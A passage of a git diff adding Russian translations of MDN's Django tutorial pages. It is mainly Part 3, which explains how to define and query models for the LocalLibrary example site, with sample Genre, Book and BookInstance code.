также позволяют Django хранить данные в базе данных для нас (и модифицировать позже). Она раскрывает, что такое модель, как она объявляется и некоторые из основных типов полей. В ней также кратко показаны некоторые из основных способов доступа к данным модели.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Admin_site">Учебник Django часть 4: Django admin веб-сайта</a></dt> + <dd>Теперь, когда мы создали модели для сайта местной библиотеки, мы будем использовать Django Admin, чтобы добавить данные о книгах в библиотеке. Сначала мы покажем вам, как регистрировать и администрировать модели сайта а затем мы покажем вам, как входить в систему и создавать некоторые данные. В конце мы покажем некоторые способы дальнейшего улучшения представлений сайта.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Home_page">Учебник Django часть 5: Создание главной страницы </a></dt> + <dd>Теперь мы готовы добавить код для отображения нашей первой полной страницы — главной страницы сайта местной библиотеки, которая показывает, сколько записей у нас есть для каждого типа модели, и предоставляет ссылки на боковых панелях на другие наши страницы. По пути мы получим практический опыт написания основных карт и представлений URL, получения записей из базы данных и использования шаблонов.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Generic_views">Учебник Django часть 6: Общий список и подробные представления</a></dt> + <dd>Это руководство расширяет наш сайт местной библиотеки, добавляя список и подробные страницы для книг и авторов. Здесь мы узнаем об общих представлениях на основе классов и покажем, как они могут уменьшить количество кода, который вы должны писать для случаев общего использования. Мы также перейдем к обработке URL-адресов более подробно, покажем, как выполнить базовое сопоставление шаблонов.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Sessions">Учебник Django часть 7: Структура сессий</a></dt> + <dd>Это руководство расширяет наш сайт местной библиотеки, добавляя счётчик посещений домашней страницы. Это относительно простой пример, но он показывает, как вы можете использовать структуру сессии, чтобы обеспечить постоянное поведение анонимных пользователей на ваших собственных сайтах.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Authentication">Учебник Django часть 8: Авторизация и права пользователей</a></dt> + <dd>В этом уроке мы покажем вам, как разрешить пользователям входить на ваш сайт со своими учетными записями и как управлять тем, что они могут делать и видеть на основе того, зарегистрированы ли они или нет, и их допусках. В рамках этой демонстрации мы расширим сайт местной библиотеки, добавив страницы входа и выхода, а также страницы пользователей и персональные страницы для просмотра книг, которые были взяты на руки.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Forms">Учебник Django часть 9: Работа с формами</a></dt> + <dd>В этом уроке мы покажем вам, как работать с <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> в Django, и в частности, самый простой способ писать формы для создания, обновления и удаления экземпляров модели. В рамках этой демонстрации мы расширим сайт местной библиотеки, чтобы библиотекари могли вносить новые книги, создавать, обновлять и удалять авторов, используя наши собственные формы (а не использовать приложение администратора).</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Testing">Учебник Django часть10: Тестирование веб-приложения Django</a></dt> + <dd>По мере роста веб-сайтов становится сложнее проверять вручную — требуется больше проверок, поскольку взаимодействие между компонентами усложняется, небольшое изменение в одной области может потребовать дополнительные тесты для проверки его влияния на другие области. Один из способов смягчить эти проблемы - написать автоматизированные тесты, которые можно легко и надежно запускать каждый раз, когда вы вносите изменения. В этом руководстве показано, как автоматизировать модульное тестирование вашего сайта с помощью тестовой среды Django.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/Deployment">Учебник Django часть 11: Деплой Django на продакшн</a></dt> + <dd>Теперь вы создали (и протестировали) удивительный сайт местной библиотеки, вам захочется установить его на общедоступный веб-сервер, чтобы к нему мог получить доступ персонал библиотеки и пользователи Интернета. В этой статье представлен обзор того, как вы можете найти хост для развертывания вашего веб-сайта и что вам нужно сделать, чтобы подготовить ваш сайт к выпуску.</dd> + <dt><a href="/ru/docs/Learn/Server-side/Django/web_application_security">Безопасность веб-приложений Django</a></dt> + <dd>Защита пользовательских данных является неотъемлемой частью любой разработки сайта. Ранее мы объяснили некоторые из наиболее распространенных угроз безопасности в статье <a href="https://developer.mozilla.org/ru/docs/Web/Security">Web security</a> — Эта статья дает практическую демонстрацию того, как встроенные средства защиты Django справляются с такими угрозами.</dd> +</dl> + +<h2 id="Задания">Задания</h2> + +<p>Следующее задание проверит ваше понимание того, как создать сайт с помощью Django, как описано в руководствах, перечисленных выше.</p> + +<dl> + <dt><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django мини-блог</a></dt> + <dd>В этом задании вы будете использовать некоторые знания, которые вы узнали из этого модуля, чтобы создать свой собственный блог.</dd> +</dl> diff --git a/files/ru/learn/server-side/django/models/index.html b/files/ru/learn/server-side/django/models/index.html new file mode 100644 index 0000000000..9ed7993e0b --- /dev/null +++ b/files/ru/learn/server-side/django/models/index.html @@ -0,0 +1,448 @@ +--- +title: 'Django учебник Часть 3: Использование моделей' +slug: Learn/Server-side/Django/Models +tags: + - Джанго + - данные + - модель + - туториал +translation_of: Learn/Server-side/Django/Models +--- +<div> {{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}</div> + +<p class="summary">В этой статье показано, как определить модели для <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> сайта. Она объясняет, что такое модель, как она объявляется, и некоторые из основных типов полей. В ней также кратко показаны некоторые из основных способов доступа к данным модели.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Предпосылки</th> + <td><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a>.</td> + </tr> + <tr> + <th scope="row">Задача:</th> + <td>Научиться проектировать и создавать свои собственные модели, выбирая подходящие поля.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Веб-приложения Django получают доступ и управляют данными через объекты Python, называемые моделями. Модели определяют структуру хранимых данных, включая типы полей и, возможно, их максимальный размер, значения по умолчанию, параметры списка выбора, текст справки для документации, текст меток для форм и т. д. Определение модели не зависит от основной базы данных - вы можете выбрать один из нескольких компонентов вашей настройки проекта. После того, как вы выбрали какую базу данных хотите использовать, вам не нужно напрямую работать с ней - вы просто пишете свою структуру модели и код, а Django делает всю грязную работу, связанную с базой данных за вас.</p> + +<p>В этом учебнике показано, как определить и получить доступ к моделям на примере <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary website</a>.</p> + +<h2 id="Проектирование_моделей_LocalLibrary">Проектирование моделей LocalLibrary</h2> + +<p>Перед тем, как вы начнёте программировать модели, стоит потратить несколько минут, чтобы подумать о том, какие данные нам нужно хранить, и о взаимоотношениях между разными объектами.</p> + +<p>Мы знаем, что нам нужно хранить информацию о книгах (название, резюме, автор, язык, на котором написана книга, категория, ISBN) и что у нас может быть несколько доступных экземпляров (с уникальным глобальным идентификатором, статусом доступности и т. Д.). Нам может потребоваться хранить больше информации об авторе, чем просто их имя, и могут быть несколько авторов с одинаковыми или похожими именами. Мы хотим иметь возможность сортировать информацию на основе названия книги, автора, письменного языка и категории.</p> + +<p>При проектировании ваших моделей имеет смысл иметь отдельные модели для каждого «объекта» (группа связанной информации). В этом случае очевидными объектами являются книги, экземпляры книг и авторы.</p> + +<p>Вы также можете использовать модели для представления параметров списка выбора (например, как выпадающий список вариантов), вместо жёсткого кодирования выбора на самом веб-сайте - это рекомендуется, когда все варианты неизвестны заранее или могут измениться. Очевидные кандидаты на модели в этом случае включают жанр книги (например, «Научная фантастика», «Французская поэзия» и т. д.) И язык (английский, французский, японский).</p> + +<p>Как только мы определились с нашими моделями и полями, нам нужно подумать об отношениях. Django позволяет вам определять отношения, как один к одному (<code>OneToOneField</code>), один ко многим (<code>ForeignKey</code>) и многие ко многим (<code>ManyToManyField</code>).</p> + +<p>Диаграмма ассоциации UML, приведённая ниже показывает модели, которые мы определили в этом случае (в виде блоков). Как и выше, мы создали модели для книги (общие сведения о книге), экземпляр книги (статус конкретных физических копий книги, доступных в системе) и автора.Мы также решили создать модель для жанра, чтобы можно было создавать / выбирать значения через интерфейс администратора. Мы решили не иметь модель для BookInstance: status - мы жестко закодировали значения (LOAN_STATUS), потому что мы не ожидаем их изменения. В каждом из полей вы можете увидеть имя модели, имена и типы полей, а также методы и их типы возврата.</p> + +<p>На диаграмме также показаны зависимости между моделями, включая их <em>множители</em>. Множители представляют собой числа на диаграмме, показывающие минимум и максимум единиц каждой модели, которые могут присутствовать в этой связи. Например, соединительная линия между ящиками показывает, что книга и жанр связаны между собой. Цифры, близкие к модели жанра, показывают, что у книги может быть один или несколько жанров (сколько угодно), а числа на другом конце строки рядом с моделью книги показывают, что у жанра может быть ноль или более связанных книг.</p> + +<p><img alt="LocalLibrary Model UML - v3" src="https://mdn.mozillademos.org/files/15646/local_library_model_uml.png" style="height: 660px; width: 977px;"></p> + +<div class="note"> +<p>Примечание. В следующем разделе приведен базовый пример, поясняющий, как модели определяются и используются. Когда вы его прочитаете, подумайте, как мы построим каждую из моделей на диаграмме выше.</p> +</div> + +<h2 id="Модель_для_начинающих">Модель для начинающих</h2> + +<p>В этом разделе представлен краткий обзор того, как определяется модель, и некоторые из наиболее важных полей и аргументы поля.</p> + +<h3 id="Определение_модели">Определение модели</h3> + +<p>Модели обычно определяются в приложении <strong>models.py</strong>. Они реализуются как подклассы <code>django.db.models.Model</code>, и могут включать поля, методы и метаданные. В приведенном ниже фрагменте кода показана «типичная» модель, названная <code>MyModelName</code>:</p> + +<pre class="notranslate">from django.db import models + +class MyModelName(models.Model): + """ + A typical class defining a model, derived from the Model class. + """ + + # Fields + my_field_name = models.CharField(max_length=20, help_text="Enter field documentation") + ... + + # Metadata + class Meta: + ordering = ["-my_field_name"] + + # Methods + def get_absolute_url(self): + """ + Returns the url to access a particular instance of MyModelName. + """ + return reverse('model-detail-view', args=[str(self.id)]) + + def __str__(self): + """ + String for representing the MyModelName object (in Admin site etc.) + """ + return self.field_name</pre> + +<p>В следующих разделах мы подробно рассмотрим каждый элемент внутри модели:</p> + +<h4 id="Поля">Поля</h4> + +<p>Модель может иметь произвольное количество полей любого типа - каждый представляет столбец данных, который мы хотим сохранить в одной из наших таблиц базы данных. Каждая запись (строка) базы данных будет состоять из одного значения каждого поля. Давайте рассмотрим приведенный выше пример:</p> + +<pre class="brush: js notranslate">my_field_name = models.CharField(max_length=20, help_text="Enter field documentation")</pre> + +<p>Наш вышеприведенный пример имеет одно поле, называемое my_<code>field_name</code>, типа <code>models.CharField</code> — что означает, что это поле будет содержать строки буквенно-цифровых символов. Типы полей назначаются с использованием определенных классов, которые определяют тип записи, которая используется для хранения данных в базе данных, а также критерии проверки, которые должны использоваться, когда значения получены из формы HTML (то есть, что составляет действительное значение). Типы полей также могут принимать аргументы, которые дополнительно определяют, как поле хранится или может использоваться. В этом случае мы даем нашему полю два аргумента:</p> + +<ul> + <li><code>max_length=20</code> — Указывает, что максимальная длина значения в этом поле составляет 20 символов.</li> + <li><code>help_text="Enter field documentation"</code> — предоставляет текстовую метку для отображения, чтобы помочь пользователям узнать, какое значение необходимо предоставить, когда это значение должно быть введено пользователем через HTML-форму.</li> +</ul> + +<p>Имя поля используется для обращения к нему в запросах и шаблонах. В полях также есть метка, которая задается как аргумент (verbose_name), либо выводится путем заглавной буквы первой буквы имени переменной поля и замены любых символов подчеркивания пробелом (например, my_field_name будет иметь метку по умолчанию <em>My field name</em>).</p> + +<p>Порядок, в котором объявляются поля, будет влиять на их порядок по умолчанию, если модель отображается в форме (например, на сайте администратора), хотя это может быть переопределено.</p> + +<h5 id="Общие_аргументы_поля">Общие аргументы поля</h5> + +<p>Следующие общие аргументы могут использоваться при объявлении многих / разных типов полей:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#help-text">help_text</a>: Предоставляет текстовую метку для HTML-форм (например, на сайте администратора), как описано выше.</li> + <li><a href="https://docs.djangoproject.com/en/2.1/ref/models/fields/#verbose-name">verbose_name</a>: Удобо-читаемое имя для поля, используемого в поле метки. Если не указано, Django выведет по умолчанию подробное название от имени поля.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#default">default</a>: Значение по умолчанию для поля. Это может быть значение или вызываемый объект, и в этом случае объект будет вызываться каждый раз, когда создается новая запись.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#null">null</a>: Если True, Django будет хранить пустые значения как NULL в базе данных для полей, где это уместно (CharField вместо этого сохранит пустую строку). По умолчанию используется значение False.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#blank">blank</a>: Если True, поле может быть пустым в ваших формах. По умолчанию используется значение False, что означает, что проверка формы Django заставит вас ввести значение. Это часто используется с null = True, потому что если вы хотите разрешить пустые значения, вы также хотите, чтобы база данных могла представлять их соответствующим образом.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#choices">choices</a>: Группа вариантов для этого поля. Если это предусмотрено, по умолчанию соответствующий виджет формы будет полем выбора с этими вариантами вместо стандартного текстового поля.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#primary-key">primary_key</a>: Если True, задает текущее поле в качестве первичного ключа для модели (первичный ключ - это специальный столбец базы данных, предназначенный для однозначной идентификации всех разных записей таблицы). Если в качестве первичного ключа не указано поле, Django автоматически добавит для этой цели поле.</li> +</ul> + +<p>Есть много других вариантов - вы можете просмотреть <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/">full list of field options here</a>.</p> + +<h5 id="Общие_типы_полей">Общие типы полей</h5> + +<p>Следующие общие аргументы могут использоваться при объявлении многих / разных типов полей:</p> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.CharField">CharField</a> Используется для определения строк фиксированной длины от короткой до средней. Вы должны указать max_length для хранения данных.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.TextField">TextField</a> используется для больших строк произвольной длины. Вы можете указать <code>max_length</code> для поля, но это используется только тогда, когда поле отображается в формах (оно не применяется на уровне базы данных).</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.IntegerField" title="django.db.models.IntegerField">IntegerField</a> это поле для хранения значений (целого числа) и для проверки введенных значений в виде целых чисел в формах.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateField">DateField</a> и <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.DateTimeField">DateTimeField</a> используются для хранения / представления дат и информации о дате / времени (как Python datetime.date и datetime.datetime, соответственно). Эти поля могут дополнительно объявлять (взаимоисключающие) параметры <code>auto_now=True</code> (для установки поля на текущую дату каждый раз, когда модель сохраняется), auto_now_add (только для установки даты, когда модель была впервые создана) и по умолчанию (чтобы установить дату по умолчанию, которую пользователь может переустановить).</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.EmailField">EmailField</a> используется для хранения и проверки адресов электронной почты.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.FileField">FileField</a> и <a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.ImageField">ImageField</a> используются для загрузки файлов и изображений соответственно ( <code>ImageField</code> просто добавляет дополнительную проверку, что загруженный файл является изображением). Они имеют параметры для определения того, как и где хранятся загруженные файлы.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.AutoField">AutoField</a> - это особый тип IntegerField, который автоматически увеличивается. Первичный ключ этого типа автоматически добавляется в вашу модель, если вы явно не укажете его.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.ForeignKey">ForeignKey</a> Используется для указания отношения «один ко многим» к другой модели базы данных (например, автомобиль имеет одного производителя, но производитель может делать много автомобилей). «Одна» сторона отношения - это модель, содержащая ключ.</li> + <li><a href="https://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.ManyToManyField">ManyToManyField</a> используется для определения отношения «многие ко многим» (например, книга может иметь несколько жанров, и каждый жанр может содержать несколько книг). В нашем приложении для библиотек мы будем использовать их аналогично ForeignKeys, но их можно использовать более сложными способами для описания отношений между группами. Они имеют параметр on_delete, чтобы определить, что происходит, когда связанная запись удаляется (например, значение <code>models.SET_NULL</code> просто установило бы значение NULL)</li> +</ul> + +<p>Существует много других типов полей, включая поля для разных типов чисел (большие целые числа, малые целые числа, дробные), логические значения, URL-адреса, slugs, уникальные идентификаторы и другие «связанные с временем» сведения (продолжительность, время и т. д.). Вы можете просмотреть <a href="https://docs.djangoproject.com/en/1.10/ref/models/fields/#field-types">full list here</a>.</p> + +<h4 id="Метаданные">Метаданные</h4> + +<p>Вы можете объявить метаданные на уровне модели для своей модели, объявив класс Meta, как показано на рисунке.</p> + +<pre class="brush: python notranslate">class Meta: + ordering = ["-my_field_name"] + ...</pre> + +<p>Одной из наиболее полезных функций этих метаданных является управление сотрировкой записей, возвращаемых при запросе типа модели. Вы можете сделать это, указав соответствия названия полей для сортировки, как показано выше. Порядок будет зависеть от типа поля (поля символов отсортированы в алфавитном порядке, а поля даты отсортированы в хронологическом порядке). Как показано выше, вы можете префикс имени поля минус-символом (-), чтобы изменить порядок сортировки.</p> + +<p>Например, если мы решили сортировать книги по умолчанию:</p> + +<pre class="brush: python notranslate">ordering = ["title", "-pubdate"]</pre> + +<p>Книги будут отсортированы по алфавиту по названию, от A-Z, а затем по дате публикации внутри каждого названия, от самого нового до самого старого.</p> + +<p>Другим распространенным атрибутом является verbose_name, подробное имя для класса в единственной и множественной форме:</p> + +<pre class="brush: python notranslate">verbose_name = "BetterName"</pre> + +<p>Другие полезные атрибуты позволяют создавать и применять новые «разрешения доступа» для модели (разрешения по умолчанию применяются автоматически), разрешить упорядочение на основе другого поля или объявить, что класс является «абстрактным» (базовый класс, для которого вы не можете создавать записи, и вместо этого будет создан для создания других моделей). Многие другие параметры метаданных управляют тем, какая база данных должна использоваться для модели и как хранятся данные (это действительно полезно, если вам нужно сопоставить модель с существующей базой данных). Полный список опций метаданных доступен здесь: <a href="https://docs.djangoproject.com/en/2.2/ref/models/options/#model-meta-options">Model metadata options</a> (Django документация).</p> + +<h4 id="Методы">Методы</h4> + +<p>Модель также может иметь методы. Минимально в каждой модели вы должны определить стандартный метод класса для Python __str __ (), чтобы вернуть удобочитаемую строку для каждого объекта. Эта строка используется для представления отдельных записей на сайте администрирования (и в любом другом месте, где вам нужно обратиться к экземпляру модели). Часто это возвращает поле названия или имени из модели.</p> + +<pre class="brush: python notranslate">def __str__(self): + return self.field_name</pre> + +<p>Другим распространенным методом включения в модели Django является get_absolute_url (), который возвращает URL-адрес для отображения отдельных записей модели на веб-сайте (если вы определяете этот метод, тогда Django автоматически добавит кнопку «Просмотр на сайте» на экранах редактирования записей модели на сайте администратора). Типичный шаблон для get_absolute_url () показан ниже.</p> + +<pre class="brush: python notranslate">def get_absolute_url(self): + """ + Returns the url to access a particular instance of the model. + """ + return reverse('model-detail-view', args=[str(self.id)]) +</pre> + +<div class="note"> +<p>Примечание. Предполагется, что вы будете использовать URL-адреса, например / myapplication / mymodelname / 2, для отображения отдельных записей для вашей модели (где «2» - это идентификатор для определенной записи), вам нужно будет создать URL-карту, чтобы передать ответ и идентификатор «Образцовое представление модели» (которое будет выполнять работу, необходимую для отображения записи). Вышеуказанная функция reverse () может «перевернуть» ваш URL-адрес (в приведенном выше примере с именем «model-detail-view»), чтобы создать URL-адрес правильного формата.</p> + +<p>Конечно, для выполнения этой работы вам все равно придется писать сопоставление URL-адрес, просмотр и шаблон!</p> +</div> + +<p>Вы также можете определить любые другие методы, которые вам нравятся, и вызывать их из вашего кода или шаблонов (при условии, что они не принимают никаких параметров).</p> + +<h3 id="Управление_моделью">Управление моделью</h3> + +<p>После того, как вы определили свои классы моделей, вы можете использовать их для создания, обновления или удаления записей и для запуска запросов для получения всех записей или отдельных подмножеств записей. Мы покажем вам, как это сделать в учебнике, когда мы определяем наши представления, с кратким обзором.</p> + +<h4 id="Создание_и_изменение_записей">Создание и изменение записей</h4> + +<p>Чтобы создать запись, вы можете определить экземпляр модели, а затем вызвать метод save ().</p> + +<pre class="brush: python notranslate"># Create a new record using the model's constructor. +a_record = MyModelName(my_field_name="Instance #1") + +# Save the object into the database. +a_record.save() +</pre> + +<div class="note"> +<p>Примечание. Если вы не указали какое-либо поле в качестве primary_key, новая запись будет выдаваться автоматически, с идентификатором имени поля. Вы можете запросить это поле после сохранения указанной выше записи, и оно будет иметь значение 1.</p> +</div> + +<p>Вы можете получить доступ к полям в этой новой записи с использованием синтаксиса точек и изменить значения. Вы должны вызвать save (), чтобы сохранить измененные значения в базе данных.</p> + +<pre class="brush: python notranslate"># Access model field values using Python attributes. +print(a_record.id) #should return 1 for the first record. +print(a_record.my_field_name) # should print 'Instance #1' + +# Change record by modifying the fields, then calling save(). +a_record.my_field_name="New Instance Name" +a_record.save()</pre> + +<h4 id="Поиск_записей">Поиск записей</h4> + +<p>Вы можете искать записи, соответствующие определенным критериям, используя атрибут объектов модели (предоставляемый базовым классом).</p> + +<div class="note"> +<p>Примечание. Объяснение того, как искать записи, используя «абстрактную» модель и имена полей, может быть немного запутанным. В приведенном ниже обсуждении мы будем ссылаться на модель книги с полями названия и жанра, где жанр также является моделью с единственным именем в поле.</p> +</div> + +<p>Мы можем получить все записи для модели как объект QuerySet, используя <code>objects.all()</code>. QuerySet - это итерируемый объект, означающий, что он содержит несколько объектов, которые мы можем перебирать / прокручивать.</p> + +<pre class="brush: python notranslate">all_books = Book.objects.all() +</pre> + +<p>Метод <code>filter()</code> Django позволяет отфильтровать возвращаемый <code>QuerySet</code> для соответствия указанному текстовому или числовому полю по конкретным критериям. Например, чтобы отфильтровать книги, содержащие слово «wild» («дикие») в заголовке, а затем подсчитать их, мы могли бы сделать следующее.</p> + +<pre class="brush: python notranslate">wild_books = Book.objects.filter(title__contains='wild') +number_wild_books = Book.objects.filter(title__contains='wild').count() +</pre> + +<p>Соответствующие поля и тип соответствия определяются в имени параметра фильтра, используя формат: <code>field_name__match_type </code>(обратите внимание на двойное подчеркивание между заголовком выше). Выше мы фильтруем заголовок с учетом регистра. Есть много других типов совпадений, которые вы можете сделать: <code>icontains</code> (без учета регистра), <code>iexact </code>(точное совпадение без учета регистра), <code>exact </code>(точное совпадение с учетом регистра ) и <code>in</code>, <code>gt </code>(больше), <code>startswith</code> и т. д <a href="https://docs.djangoproject.com/en/2.2/ref/models/querysets/#field-lookups">смотреть полный список </a>(Django Docs, [EN]).</p> + +<p>В некоторых случаях вам нужно будет фильтровать поле, которое определяет отношение «один ко многим» к другой модели (например, <code>ForeignKey</code>). В этом случае вы можете «индексировать» поля в связанной модели с дополнительными двойными подчеркиваниями. Так, например, чтобы фильтровать книги с определенным жанровым рисунком, вам нужно будет указывать имя в поле жанра, как показано ниже:</p> + +<pre class="brush: python notranslate">books_containing_genre = Book.objects.filter(genre<strong>__</strong>name<strong>__</strong>icontains='fiction') # Will match on: Fiction, Science fiction, non-fiction etc. +</pre> + +<div class="note"> +<p><strong>Примечание:</strong> Вы можете использовать символы подчеркивания (__) для навигации по многим уровням отношений (ForeignKey / ManyToManyField) по своему усмотрению. Например, книга, имеющая разные типы, определяемая с использованием дополнительной связи «обложка», может иметь имя параметра: type__cover__name__exact = 'hard'.</p> +</div> + +<p>Существует гораздо больше возможностей для запросов, включая обратные поиски от связанных моделей, цепочки фильтров, возврат меньшего набора значений и т. д. Для получения дополнительной информации см. <a href="https://docs.djangoproject.com/en/2.2/topics/db/queries/">Making queries</a> (Django Docs, [EN]).</p> + +<h2 id="Определение_моделей_LocalLibrary">Определение моделей LocalLibrary</h2> + +<p>В этом разделе мы начнем определять модели для библиотеки. Откройте <em>models.py (в / locallibrary / catalog /)</em>. Шаблон в верхней части страницы импортирует модуль моделей, который содержит базовый класс модели <code>models.Model</code>, от которого наследуются наши модели.</p> + +<pre class="brush: python notranslate">from django.db import models + +# Create your models here.</pre> + +<h3 id="Модель_жанра">Модель жанра</h3> + +<p>Скопируйте приведенный ниже код модели <code>Genre </code>и вставьте его в нижнюю часть вашего файла <code>models.py</code>. Эта модель используется для хранения информации о категории книг - например, будь то художественная или документальная, роман или военно-историческая и т. д. Как уже упоминалось выше, мы создали жанр как модель, а не как свободный текст или список выбора, чтобы возможные значения могли управляться через базу данных, а не были закодированными.</p> + +<pre class="brush: python notranslate">class Genre(models.Model): + """ + Model representing a book genre (e.g. Science Fiction, Non Fiction). + """ + name = models.CharField(max_length=200, help_text="Enter a book genre (e.g. Science Fiction, French Poetry etc.)") + + def __str__(self): + """ + String for representing the Model object (in Admin site etc.) + """ + return self.name</pre> + +<p>Модель имеет один <code>CharField</code> field (имя), которое используется для описания жанра (оно ограничено 200 символами и имеет некоторый <code>help_text</code>. В конце модели мы объявляем метод <code>__str__()</code>, который просто возвращает имя жанра, определенного конкретной записью. Verbose name не был определен, поэтому поле будет называться <code>Name</code> в формах.</p> + +<h3 id="Модель_книги">Модель книги</h3> + +<p>Скопируйте модель книги ниже и снова вставьте ее в нижнюю часть файла. Модель книги представляет всю информацию о доступной книге в общем смысле, но не конкретный физический «экземпляр» или «копию» для временного использования. Модель использует CharField для представления названия книги и isbn (обратите внимание, как isbn указывает свой ярлык как «ISBN», используя первый неименованный параметр, поскольку в противном случае ярлык по умолчанию был бы «Isbn»). Модель использует TextField для summary, потому что этот текст, возможно, должен быть очень длинным.</p> + +<pre class="brush: python notranslate">from django.urls import reverse #Used to generate URLs by reversing the URL patterns + +class Book(models.Model): + """ + Model representing a book (but not a specific copy of a book). + """ + title = models.CharField(max_length=200) + author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True) + # Foreign Key used because book can only have one author, but authors can have multiple books + # Author as a string rather than object because it hasn't been declared yet in the file. + summary = models.TextField(max_length=1000, help_text="Enter a brief description of the book") + isbn = models.CharField('ISBN',max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>') + genre = models.ManyToManyField(Genre, help_text="Select a genre for this book") + # ManyToManyField used because genre can contain many books. Books can cover many genres. + # Genre class has already been defined so we can specify the object above. + + def __str__(self): + """ + String for representing the Model object. + """ + return self.title + + + def get_absolute_url(self): + """ + Returns the url to access a particular book instance. + """ + return reverse('book-detail', args=[str(self.id)]) +</pre> + +<p>Жанр представляет из себя ManyToManyField, так что книга может иметь несколько жанров, а жанр может иметь много книг. Автор объявляется через ForeignKey, поэтому в каждой книге будет только один автор, но у автора может быть много книг (на практике книга может иметь несколько авторов, но не в такой реализации!)</p> + +<p>В обоих типах полей соответствующий класс модели объявляется как первый неименованный параметр, используя либо класс модели, либо строку, содержащую имя соответствующей модели. Вы должны использовать имя модели как строку, если связанный класс еще не был определен в этом файле до того, как он будет указан! Другими параметрами, представляющими интерес для поля автора, являются <code>null=True</code>, которое позволяет базе данных хранить значение <code>Null</code> , если автор не выбран, и on_delete = models. <code>SET_NULL </code>установит значение автора в Null, если связанная с автором запись будет удалена.</p> + +<p>Модель также определяет __str __ (), используя поле заголовка книги для представления книги. Окончательный метод get_absolute_url () возвращает URL-адрес, который можно использовать для доступа к подробной записи для этой модели (для этого нам нужно будет определить сопоставление URL-адресов, в котором содержится подробная информация о книге, и определить связанное представление и шаблон ).</p> + +<h3 id="Модель_BookInstance">Модель BookInstance</h3> + +<p>Затем скопируйте модель BookInstance (показано ниже) под другие модели. BookInstance представляет собой определенную копию книги, которую кто-то может брать взаймы, и включает информацию о том, доступна ли копия или в какой день она ожидается, «отпечаток» или сведения о версии, а также уникальный идентификатор книги в библиотеке. Теперь некоторые из полей и методов будут знакомы. Модель использует</p> + +<ul> + <li>ForeignKey для идентификации связанной книги (в каждой книге может быть много копий, но в копии может быть только одна книга).</li> + <li>CharField, для представления данных (конкретного выпуска) о книге.</li> +</ul> + +<pre class="brush: python notranslate">import uuid # Required for unique book instances + +class BookInstance(models.Model): + """ + Model representing a specific copy of a book (i.e. that can be borrowed from the library). + """ + id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text="Unique ID for this particular book across whole library") + book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True) + imprint = models.CharField(max_length=200) + due_back = models.DateField(null=True, blank=True) + + LOAN_STATUS = ( + ('m', 'Maintenance'), + ('o', 'On loan'), + ('a', 'Available'), + ('r', 'Reserved'), + ) + + status = models.CharField(max_length=1, choices=LOAN_STATUS, blank=True, default='m', help_text='Book availability') + + class Meta: + ordering = ["due_back"] + + + def __str__(self): + """ + String for representing the Model object + """ + return '%s (%s)' % (self.id,self.book.title)</pre> + +<p>Мы дополнительно объявляем несколько новых типов полей:</p> + +<ul> + <li><code>UUIDField</code> используется для поля id, чтобы установить его как primary_key для этой модели. Этот тип поля выделяет глобальное уникальное значение для каждого экземпляра (по одному для каждой книги, которую вы можете найти в библиотеке).</li> + <li><code>DateField</code> используется для данных due_back (при которых ожидается, что книга появится после заимствования или обслуживания). Это значение может быть blank или null (необходимо, когда книга доступна). Метаданные модели (Class Meta) используют это поле для упорядочивания записей, когда они возвращаются в запросе.</li> + <li>status - это CharField, который определяет список choice/selection. Как вы можете видеть, мы определяем кортеж, содержащий кортежи пар ключ-значение и передаем его аргументу выбора. Значение в key/value паре - это отображаемое значение, которое пользователь может выбрать, а ключи - это значения, которые фактически сохраняются, если выбрана опция. Мы также установили значение по умолчанию «m» (техническое обслуживание), поскольку книги изначально будут созданы недоступными до того, как они будут храниться на полках.</li> +</ul> + +<p>Модель __str __ () представляет объект BookInstance, используя комбинацию его уникального идентификатора и связанного с ним заголовка книги.</p> + +<div class="note"> +<p>Примечание. Немного Python'а:</p> + +<ul> + <li>Значение, возвращаемое __str __ (), является форматированной строкой. В строке мы используем % S для объявления 